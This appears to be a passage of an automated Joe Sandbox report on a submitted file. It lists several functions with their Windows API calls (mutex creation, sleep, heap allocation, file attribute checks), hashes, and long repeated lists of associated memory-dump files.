API String ID: 1464230837-0
Opcode ID: f71843202ee084baead96297da307287cac87652383495810c87d7ad569f2b7f
Instruction ID: a6afcf646c391d24da2f03584e706032b4186c95b23150309eb31efc27338ba5
Opcode Fuzzy Hash: f71843202ee084baead96297da307287cac87652383495810c87d7ad569f2b7f
Instruction Fuzzy Hash: 06210D717D92019BEB2867789C9B72EB7D1DF81700F2449E6E404D62D1CF794B81E293

Function 00B4A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00B4A963
CreateMutexA.KERNEL32(00000000,00000000,00BA3254), ref: 00B4A981

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 537cabfa946882703675b590e30c25069a45564a28ca272b03310ae357a23adb
Instruction ID: ef86c9e3fd3aba35a75449a54f0d5cfe3b6c38a7beeaf32c6f4b80f647d4364a
Opcode Fuzzy Hash: 537cabfa946882703675b590e30c25069a45564a28ca272b03310ae357a23adb
Instruction Fuzzy Hash: C72179323842009BEB1CAF68DC8A72CB7E2DFD6310F248299E814D76D0DB755B808756

Function 00B47D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B47ED3

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 525cc6ee1cb91da86b82fd9ae04950460436bb7b75a22b3a6033ab76a9ba680f
Instruction ID: e1c539d2c4d6754a73939775fd98a3f17c52ca4bb54391049242ecc5d0c72a51
Opcode Fuzzy Hash: 525cc6ee1cb91da86b82fd9ae04950460436bb7b75a22b3a6033ab76a9ba680f
Instruction Fuzzy Hash: 54E10570E046549BCB25BB68CC4B3AE7BE1AB42720F9442D8E815673D2DF354F849BC2

Function 00B7D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B7A813,00000001,00000364,00000006,000000FF,?,00B7EE3F,?,00000004,00000000,?,?), ref: 00B7D871

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5dba20d09261a4d1f9865472de26d7f1b005f421d9d44e70b4a3e790a98c791b
Instruction ID: a86a82cdc441c681557c4a7cd5581513da8cfd584233aac12e136475a47444b7
Opcode Fuzzy Hash: 5dba20d09261a4d1f9865472de26d7f1b005f421d9d44e70b4a3e790a98c791b
Instruction Fuzzy Hash: 5EF0E23265122466EB212AB29C01A5B37F9DF863F0B18C1A1EC3CA7181DE20EC0082E2

Function 00B487B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00B4DA1D,?,?,?,?), ref: 00B487B9

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 88167ddcf1c7cb4ea3379967b8c933a85f125ed0b63651865018318f804ad696
Instruction ID: 243093993b702c81bdc9364c826016d15b84cd6e835c16740cb3c4e818218488
Opcode Fuzzy Hash: 88167ddcf1c7cb4ea3379967b8c933a85f125ed0b63651865018318f804ad696
Instruction Fuzzy Hash: 01C08C2801160006ED1C053804B88AC33C599477A83F41BC4E8725B1F1DE395E47B210

Function 00B487B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00B4DA1D,?,?,?,?), ref: 00B487B9

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
